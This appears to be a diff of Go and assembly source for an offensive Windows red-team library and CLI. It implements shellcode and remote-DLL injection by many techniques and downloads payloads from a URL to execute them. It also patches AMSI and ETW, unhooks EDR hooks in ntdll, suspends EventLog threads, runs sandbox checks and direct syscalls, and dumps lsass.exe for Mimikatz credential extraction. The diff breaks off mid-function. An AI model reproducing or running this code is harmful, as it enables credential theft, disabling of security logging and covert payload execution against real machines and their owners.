time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should be executed without errors!\n")
|
||||
|
||||
} else if dll_url != "" {
|
||||
|
||||
var dll_func string
|
||||
var dll_url string
|
||||
|
||||
if len(strings.Split(dll_url, ",")) >= 2 {
|
||||
dll_func = strings.Split(dll_url, ",")[1]
|
||||
dll_url = strings.Split(dll_url, ",")[0]
|
||||
} else {
|
||||
dll_func = ""
|
||||
dll_url = strings.Split(dll_url, ",")[0]
|
||||
}
|
||||
|
||||
if pid != 0 {
|
||||
l.Println("\n[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("\n[+] Target PID: self")
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
if dll_func != "" {
|
||||
l.Println("[+] Function to execute: " + dll_func)
|
||||
} else {
|
||||
l.Println("[+] Function to execute: default")
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Retrieving DLL from url...")
|
||||
dll_bytes, err := hooka.GetShellcodeFromUrl(dll_url)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has occurred retrieving remote dll!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
if base64_flag { // Check shellcode encoding flags
|
||||
l.Println("[+] Shellcode encoding: base64")
|
||||
dll_bytes, err = base64.StdEncoding.DecodeString(string(dll_bytes))
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Decoding shellcode...")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else if hex_flag {
|
||||
l.Println("[+] Shellcode encoding: hex")
|
||||
dll_bytes, err = hex.DecodeString(string(dll_bytes))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Decoding shellcode...")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else {
|
||||
l.Println("[+] No encoding was especified")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
l.Println("[*] Converting raw bytes to shellcode")
|
||||
shellcode, err := hooka.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[+] DLL converted successfully!")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
checkAmsi(amsi)
|
||||
checkEtw(etw)
|
||||
checkUnhook(unhook, strings.ToLower(technique))
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Injecting DLL shellcode using " + technique + " technique")
|
||||
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should be executed without errors!\n")
|
||||
|
||||
} else if hook_detect { // Enter here if --hooks flag was especified
|
||||
|
||||
l.Println("\n[*] Detecting hooked functions...")
|
||||
|
||||
all_hooks, err := hooka.DetectHooks() // Get all hooked functions
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Process finished")
|
||||
|
||||
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[*] Hooked functions:\n")
|
||||
for _, h := range all_hooks {
|
||||
l.Println(h)
|
||||
}
|
||||
l.Println()
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
} else {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[+] No function is hooked!\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
} else if test_flag {
|
||||
|
||||
l.Println("\n[*] Testing with calc.exe shellcode")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
checkAmsi(amsi)
|
||||
checkEtw(etw)
|
||||
checkUnhook(unhook, strings.ToLower(technique))
|
||||
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
|
||||
err := hooka.Inject(hooka.CalcShellcode(), technique, pid) // Inject calc.exe shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should be executed!\n")
|
||||
|
||||
} else if phantom {
|
||||
l.Println("\n[*] Checking high privileges")
|
||||
privs, err := hooka.CheckHighPrivs()
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
if privs == false {
|
||||
l.Println("[-] Error: you need high privs to perform this operation!\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
l.Println("[*] Searching EventLog PID")
|
||||
eventlog_pid, err := hooka.GetEventLogPid()
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[+] PID found:", int(eventlog_pid))
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[*] Enabling SeDebugPrivilege...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Suspending EventLog threads")
|
||||
err = hooka.Phant0mWithOutput(eventlog_pid)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Threads killed successfully!\n")
|
||||
|
||||
} else if lsass != "" { // Enter here if --lsass flag was especified
|
||||
|
||||
if unhook == 1 {
|
||||
l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.ClassicUnhook([]string{"NtReadVirtualMemory"}, "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else if unhook == 2 {
|
||||
l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else if unhook == 3 {
|
||||
l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.PerunsUnhook()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
checkAmsi(amsi)
|
||||
checkEtw(etw)
|
||||
|
||||
l.Println("[*] Dumping lsass.exe process to " + lsass)
|
||||
|
||||
err := hooka.DumpLsass(lsass)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has occurred, ensure to be running as admin:")
|
||||
e := os.Remove(lsass)
|
||||
if e != nil {
|
||||
l.Fatal(e)
|
||||
}
|
||||
|
||||
l.Fatalln(err)
|
||||
}
|
||||
|
||||
info, err := os.Stat(lsass)
|
||||
if err != nil {
|
||||
l.Fatalln(err)
|
||||
}
|
||||
|
||||
l.Println("[*]", info.Size(), "bytes were written to file")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkAmsi(check bool) {
|
||||
if check {
|
||||
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func checkEtw(check bool) {
|
||||
if check {
|
||||
l.Println("[*] Patching ETW by overwriting some EtwEventWrite functions memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.PatchEtw()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func checkUnhook(unhook int, technique string) {
|
||||
// Unhook function(s)
|
||||
var funcs_to_unhook []string
|
||||
var lib string
|
||||
|
||||
if unhook == 1 {
|
||||
l.Println("[*] Unhooking functions via Classic technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
if technique == "createtemotethread" {
|
||||
funcs_to_unhook = []string{"CreateRemoteThreadEx"}
|
||||
lib = "C:\\Windows\\System32\\ntdll.dll"
|
||||
} else if technique == "createremotethreadhalos" {
|
||||
funcs_to_unhook = []string{"NtCreateThreadEx", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", "NtWriteVirtualMemory"}
|
||||
lib = "C:\\Windows\\System32\\ntdll.dll"
|
||||
} else if technique == "createprocess" {
|
||||
funcs_to_unhook = []string{"NtQueryInformationProcess"}
|
||||
} else if technique == "enumsystemlocales" {
|
||||
funcs_to_unhook = []string{"RtlMoveMemory"}
|
||||
lib = "C:\\Windows\\System32\\ntdll.dll"
|
||||
} else if technique == "enumsystemlocaleshalos" {
|
||||
funcs_to_unhook = []string{"NtAllocateVirtualMemory", "NtWriteVirtualMemory", "RtlMoveMemory"}
|
||||
lib = "C:\\Windows\\System32\\ntdll.dll"
|
||||
} else if technique == "queueuserapc" {
|
||||
funcs_to_unhook = []string{"QueueUserAPC"}
|
||||
lib = "C:\\Windows\\System32\\kernel32.dll"
|
||||
} else if technique == "fibers" {
|
||||
funcs_to_unhook = []string{"RtlCopyMemory"}
|
||||
lib = "C:\\Windows\\System32\\ntdll.dll"
|
||||
} else if technique == "uuidfromstring" {
|
||||
funcs_to_unhook = []string{"UuidFromStringA"}
|
||||
lib = "C:\\Windows\\System32\\Rpcrt4.dll"
|
||||
} else if technique == "etwpcreateetwthread" {
|
||||
funcs_to_unhook = []string{"RtlCopyMemory", "EtwpCreateEtwThread"}
|
||||
lib = "C:\\Windows:\\System32\\ntdll.dll"
|
||||
} else if technique == "rtlcreateuserthread" {
|
||||
funcs_to_unhook = []string{"RtlCreateUserThread"}
|
||||
lib = "C:\\Windows\\System32\\ntdll.dll"
|
||||
}
|
||||
|
||||
err := hooka.ClassicUnhook(funcs_to_unhook, lib)
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Functions have been unhooked!")
|
||||
|
||||
} else if unhook == 2 {
|
||||
l.Println("[*] Unhooking functions via Full Dll technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Functions have been unhooked!")
|
||||
|
||||
} else if unhook == 3 {
|
||||
l.Println("[*] Unhooking functions via Perun's Fart technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := hooka.PerunsUnhook()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has occurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Functions have been unhooked!")
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,9 @@
|
||||
package hooka
|
||||
|
||||
import (
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
"github.com/D3Ext/Hooka/evasion"
|
||||
)
|
||||
|
||||
func EnableACG() error {
|
||||
return core.EnableACG()
|
||||
return evasion.EnableACG()
|
||||
}
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func PatchAmsi() error {
|
||||
return core.PatchAmsi()
|
||||
return evasion.PatchAmsi()
|
||||
}
|
||||
|
||||
func PatchAmsi2() error {
|
||||
return evasion.PatchAmsi2()
|
||||
}
|
||||
|
||||
@@ -1,23 +1,21 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/utils"
|
||||
|
||||
func GetShellcodeFromUrl(url string) ([]byte, error) {
|
||||
return core.GetShellcodeFromUrl(url)
|
||||
return utils.GetShellcodeFromUrl(url)
|
||||
}
|
||||
|
||||
func GetShellcodeFromFile(file string) ([]byte, error) {
|
||||
return core.GetShellcodeFromFile(file)
|
||||
return utils.GetShellcodeFromFile(file)
|
||||
}
|
||||
|
||||
func CalcShellcode() []byte {
|
||||
return core.CalcShellcode()
|
||||
}
|
||||
|
||||
func ElevateProcessToken() error {
|
||||
return core.ElevateProcessToken()
|
||||
return utils.CalcShellcode()
|
||||
}
|
||||
|
||||
func CheckHighPrivs() (bool, error) {
|
||||
return core.CheckHighPrivs()
|
||||
return utils.CheckHighPrivs()
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
package hooka
|
||||
|
||||
import (
|
||||
"github.com/D3Ext/Hooka/evasion"
|
||||
)
|
||||
|
||||
func BlockDLLs() error {
|
||||
return evasion.BlockDLLs()
|
||||
}
|
||||
|
||||
func CreateProcessBlockDLLs(cmd string) error {
|
||||
return evasion.CreateProcessBlockDLLs(cmd)
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/utils"
|
||||
|
||||
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
|
||||
return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
|
||||
return utils.ConvertDllToShellcode(dll_file, dll_func, func_args)
|
||||
}
|
||||
|
||||
func ConvertDllBytesToShellcode(dll_bytes []byte, dll_func string, func_args string) ([]byte, error) {
|
||||
return core.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
|
||||
return utils.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
|
||||
}
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func PatchEtw() error {
|
||||
return core.PatchEtw()
|
||||
return evasion.PatchEtw()
|
||||
}
|
||||
|
||||
func PatchEtw2() error {
|
||||
return evasion.PatchEtw2()
|
||||
}
|
||||
|
||||
@@ -1,11 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func GetSysId(funcname string) (uint16, error) {
|
||||
return core.GetSysId(funcname)
|
||||
return evasion.GetSysId(funcname)
|
||||
}
|
||||
|
||||
func GetFuncPtr(funcname string) (uint64, error) {
|
||||
return core.GetFuncPtr(funcname)
|
||||
}
|
||||
|
||||
@@ -1,11 +1,32 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import (
|
||||
"github.com/D3Ext/Hooka/utils"
|
||||
"github.com/D3Ext/Hooka/evasion"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func FuncFromHash(hash string, dll string, hashing_func func(string) string) (uint16, string, error) {
|
||||
return core.FuncFromHash(hash, dll, hashing_func)
|
||||
func GetFuncPtr(hash string, dll string, hashing_func func(str string) string) (*windows.LazyProc, string, error) {
|
||||
return evasion.GetFuncPtr(hash, dll, hashing_func)
|
||||
}
|
||||
|
||||
func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
return core.HalosFuncFromHash(hash, hashing_func)
|
||||
func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
return evasion.GetSysIdHash(hash, dll, hashing_func)
|
||||
}
|
||||
|
||||
func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
|
||||
return evasion.GetSysIdHashHalos(hash, hashing_func)
|
||||
}
|
||||
|
||||
func Md5(src string) string {
|
||||
return utils.Md5(src)
|
||||
}
|
||||
|
||||
func Sha1(src string) string {
|
||||
return utils.Sha1(src)
|
||||
}
|
||||
|
||||
func Sha256(src string) string {
|
||||
return utils.Sha256(src)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
package hooka
|
||||
|
||||
import (
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
"github.com/D3Ext/Hooka/evasion"
|
||||
)
|
||||
|
||||
func DetectHooks() ([]string, error) {
|
||||
return core.DetectHooks()
|
||||
return evasion.DetectHooks()
|
||||
}
|
||||
|
||||
func IsHooked(func_name string) (bool, error) {
|
||||
return core.IsHooked(func_name)
|
||||
return evasion.IsHooked(func_name)
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func DumpLsass(output string) error {
|
||||
return core.DumpLsass(output)
|
||||
func DumpLsass(output_file string) error {
|
||||
return evasion.DumpLsass(output_file)
|
||||
}
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func GetEventLogPid() (uint32, error) {
|
||||
return core.GetEventLogPid()
|
||||
func GetEventLogPid() (int, error) {
|
||||
return evasion.GetEventLogPid()
|
||||
}
|
||||
|
||||
func Phant0m(pid uint32) error {
|
||||
return core.Phant0m(pid)
|
||||
func Phant0m(eventlog_pid int) error {
|
||||
return evasion.Phant0m(eventlog_pid)
|
||||
}
|
||||
|
||||
func Phant0mWithOutput(pid uint32) error {
|
||||
return core.Phant0mWithOutput(pid)
|
||||
}
|
||||
|
||||
@@ -1,39 +1,39 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func AutoCheck() error {
|
||||
return core.AutoCheck()
|
||||
func AutoCheck() (bool, error) {
|
||||
return evasion.AutoCheck()
|
||||
}
|
||||
|
||||
func CheckMemory() (bool, error) {
|
||||
return core.CheckMemory()
|
||||
return evasion.CheckMemory()
|
||||
}
|
||||
|
||||
func CheckDisk() (bool, error) {
|
||||
return core.CheckDisk()
|
||||
return evasion.CheckDisk()
|
||||
}
|
||||
|
||||
func CheckInternet() bool {
|
||||
return core.CheckInternet()
|
||||
return evasion.CheckInternet()
|
||||
}
|
||||
|
||||
func CheckHostname() (bool, error) {
|
||||
return core.CheckHostname()
|
||||
return evasion.CheckHostname()
|
||||
}
|
||||
|
||||
func CheckUsername() (bool, error) {
|
||||
return core.CheckUsername()
|
||||
return evasion.CheckUsername()
|
||||
}
|
||||
|
||||
func CheckCpu() bool {
|
||||
return core.CheckCpu()
|
||||
return evasion.CheckCpu()
|
||||
}
|
||||
|
||||
func CheckDrivers() bool {
|
||||
return core.CheckDrivers()
|
||||
return evasion.CheckDrivers()
|
||||
}
|
||||
|
||||
func CheckProcess() (bool, error) {
|
||||
return core.CheckProcess()
|
||||
return evasion.CheckProcess()
|
||||
}
|
||||
|
||||
@@ -1,53 +1,71 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func Inject(shellcode []byte, technique string, pid int) error {
|
||||
return core.Inject(shellcode, technique, pid)
|
||||
}
|
||||
|
||||
func CreateRemoteThread(shellcode []byte, pid int) error {
|
||||
return core.CreateRemoteThread(shellcode, pid)
|
||||
}
|
||||
import (
|
||||
sc_pkg "github.com/D3Ext/Hooka/shellcode"
|
||||
)
|
||||
|
||||
// use 0 as pid to self-inject
|
||||
func CreateProcess(shellcode []byte, pid int) error {
|
||||
return core.CreateProcess(shellcode, pid)
|
||||
return sc_pkg.CreateProcess(shellcode, pid)
|
||||
}
|
||||
|
||||
// use 0 as pid to self-inject
|
||||
func CreateRemoteThread(shellcode []byte, pid int) error {
|
||||
return sc_pkg.CreateRemoteThread(shellcode, pid)
|
||||
}
|
||||
|
||||
func NtCreateThreadEx(shellcode []byte, pid int) error {
|
||||
return sc_pkg.NtCreateThreadEx(shellcode, pid)
|
||||
}
|
||||
|
||||
func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
|
||||
return sc_pkg.ProcessHollowing(shellcode, proc, blockdlls)
|
||||
}
|
||||
|
||||
func EnumSystemLocales(shellcode []byte) error {
|
||||
return core.EnumSystemLocales(shellcode)
|
||||
return sc_pkg.EnumSystemLocales(shellcode)
|
||||
}
|
||||
|
||||
func Fibers(shellcode []byte) error {
|
||||
return core.Fibers(shellcode)
|
||||
return sc_pkg.Fibers(shellcode)
|
||||
}
|
||||
|
||||
func QueueUserApc(shellcode []byte) error {
|
||||
return core.QueueUserApc(shellcode)
|
||||
return sc_pkg.QueueUserApc(shellcode)
|
||||
}
|
||||
|
||||
func NtQueueApcThreadEx(shellcode []byte) error {
|
||||
return sc_pkg.NtQueueApcThreadEx(shellcode)
|
||||
}
|
||||
|
||||
func NoRWX(shellcode []byte) error {
|
||||
return sc_pkg.NoRWX(shellcode)
|
||||
}
|
||||
|
||||
func UuidFromString(shellcode []byte) error {
|
||||
return core.UuidFromString(shellcode)
|
||||
return sc_pkg.UuidFromString(shellcode)
|
||||
}
|
||||
|
||||
func EtwpCreateEtwThread(shellcode []byte) error {
|
||||
return core.EtwpCreateEtwThread(shellcode)
|
||||
return sc_pkg.EtwpCreateEtwThread(shellcode)
|
||||
}
|
||||
|
||||
func RtlCreateUserThread(shellcode []byte, pid int) error {
|
||||
return core.RtlCreateUserThread(shellcode, pid)
|
||||
return sc_pkg.RtlCreateUserThread(shellcode, pid)
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate functions (WIP)
|
||||
Hell's Gate + Halo's Gate functions
|
||||
|
||||
*/
|
||||
|
||||
func CreateRemoteThreadHalos(shellcode []byte) error {
|
||||
return core.CreateRemoteThreadHalos(shellcode)
|
||||
func NtCreateThreadExHalos(shellcode []byte) error {
|
||||
return sc_pkg.NtCreateThreadExHalos(shellcode)
|
||||
}
|
||||
|
||||
func EnumSystemLocalesHalos(shellcode []byte) error {
|
||||
return core.EnumSystemLocalesHalos(shellcode)
|
||||
return sc_pkg.EnumSystemLocalesHalos(shellcode)
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func Sleep() {
|
||||
evasion.Sleep()
|
||||
}
|
||||
|
||||
@@ -1,15 +1,9 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func Syscall(callid uint16, argh ...uintptr) (uint32, error) {
|
||||
return core.Syscall(callid, argh...)
|
||||
return evasion.Syscall(callid, argh...)
|
||||
}
|
||||
|
||||
func Execute(shellcode []byte) error {
|
||||
return core.Execute(shellcode)
|
||||
}
|
||||
|
||||
func WriteMemory(inbuf []byte, destination uintptr) {
|
||||
core.WriteMemory(inbuf, destination)
|
||||
}
|
||||
|
||||
@@ -1,15 +1,17 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
import "github.com/D3Ext/Hooka/evasion"
|
||||
|
||||
func ClassicUnhook(funcnames []string, dllpath string) error {
|
||||
return core.ClassicUnhook(funcnames, dllpath)
|
||||
return evasion.ClassicUnhook(funcnames, dllpath)
|
||||
}
|
||||
|
||||
func FullUnhook(dllpath string) error {
|
||||
return core.FullUnhook(dllpath)
|
||||
// unhook especified DLLs (provide full paths)
|
||||
func FullUnhook(dlls_to_unhook []string) error {
|
||||
return evasion.FullUnhook(dlls_to_unhook)
|
||||
}
|
||||
|
||||
// unhook ntdll.dll
|
||||
func PerunsUnhook() error {
|
||||
return core.PerunsUnhook()
|
||||
return evasion.PerunsUnhook()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
//func GetNtdllStart() uintptr
|
||||
TEXT ·GetNtdllStart(SB), $0-16
|
||||
//All operations push values into AX
|
||||
//PEB
|
||||
MOVQ 0x60(GS), AX
|
||||
//PEB->LDR
|
||||
MOVQ 0x18(AX),AX
|
||||
|
||||
//LDR->InMemoryOrderModuleList
|
||||
MOVQ 0x20(AX),AX
|
||||
|
||||
//Flink (get next element)
|
||||
MOVQ (AX),AX
|
||||
|
||||
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
|
||||
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
|
||||
MOVQ 0x20(AX),CX
|
||||
MOVQ CX, start+0(FP)
|
||||
|
||||
MOVQ 0x30(AX),CX
|
||||
MOVQ CX, size+8(FP)
|
||||
|
||||
RET
|
||||
|
||||
//func getModuleLoadedOrder(i int) (start uintptr, size uintptr)
|
||||
TEXT ·getMLO(SB), $0-32
|
||||
//All operations push values into AX
|
||||
//PEB
|
||||
MOVQ 0x60(GS), AX
|
||||
//PEB->LDR
|
||||
MOVQ 0x18(AX),AX
|
||||
|
||||
//LDR->InMemoryOrderModuleList
|
||||
MOVQ 0x20(AX),AX
|
||||
|
||||
//loop things
|
||||
XORQ R10,R10
|
||||
startloop:
|
||||
CMPQ R10,i+0(FP)
|
||||
JE endloop
|
||||
//Flink (get next element)
|
||||
MOVQ (AX),AX
|
||||
INCQ R10
|
||||
JMP startloop
|
||||
endloop:
|
||||
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
|
||||
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
|
||||
MOVQ 0x20(AX),CX
|
||||
MOVQ CX, start+8(FP)
|
||||
|
||||
MOVQ 0x30(AX),CX
|
||||
MOVQ CX, size+16(FP)
|
||||
MOVQ AX,CX
|
||||
ADDQ $0x38,CX
|
||||
MOVQ CX, modulepath+24(FP)
|
||||
//SYSCALL
|
||||
RET
|
||||
|
||||
//based on https://golang.org/src/runtime/sys_windows_amd64.s
|
||||
#define maxargs 16
|
||||
//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
|
||||
TEXT ·bpSyscall(SB), $0-56
|
||||
XORQ AX,AX
|
||||
MOVW callid+0(FP), AX
|
||||
PUSHQ CX
|
||||
//put variadic size into CX
|
||||
MOVQ argh_len+16(FP),CX
|
||||
//put variadic pointer into SI
|
||||
MOVQ argh_base+8(FP),SI
|
||||
// SetLastError(0).
|
||||
MOVQ 0x30(GS), DI
|
||||
MOVL $0, 0x68(DI)
|
||||
SUBQ $(maxargs*8), SP // room for args
|
||||
// Fast version, do not store args on the stack.
|
||||
CMPL CX, $4
|
||||
JLE loadregs
|
||||
// Check we have enough room for args.
|
||||
CMPL CX, $maxargs
|
||||
JLE 2(PC)
|
||||
INT $3 // not enough room -> crash
|
||||
// Copy args to the stack.
|
||||
MOVQ SP, DI
|
||||
CLD
|
||||
REP; MOVSQ
|
||||
MOVQ SP, SI
|
||||
loadregs:
|
||||
//move the stack pointer????? why????
|
||||
SUBQ $8, SP
|
||||
// Load first 4 args into correspondent registers.
|
||||
MOVQ 0(SI), CX
|
||||
MOVQ 8(SI), DX
|
||||
MOVQ 16(SI), R8
|
||||
MOVQ 24(SI), R9
|
||||
// Floating point arguments are passed in the XMM
|
||||
// registers. Set them here in case any of the arguments
|
||||
// are floating point values. For details see
|
||||
// https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
|
||||
MOVQ CX, X0
|
||||
MOVQ DX, X1
|
||||
MOVQ R8, X2
|
||||
MOVQ R9, X3
|
||||
//MOVW callid+0(FP), AX
|
||||
MOVQ CX, R10
|
||||
SYSCALL
|
||||
ADDQ $((maxargs+1)*8), SP
|
||||
// Return result.
|
||||
POPQ CX
|
||||
MOVL AX, errcode+32(FP)
|
||||
RET
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package shellcode
|
||||
|
||||
/*
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unsafe"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateRemoteThread(shellcode []byte, pid int) error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
|
||||
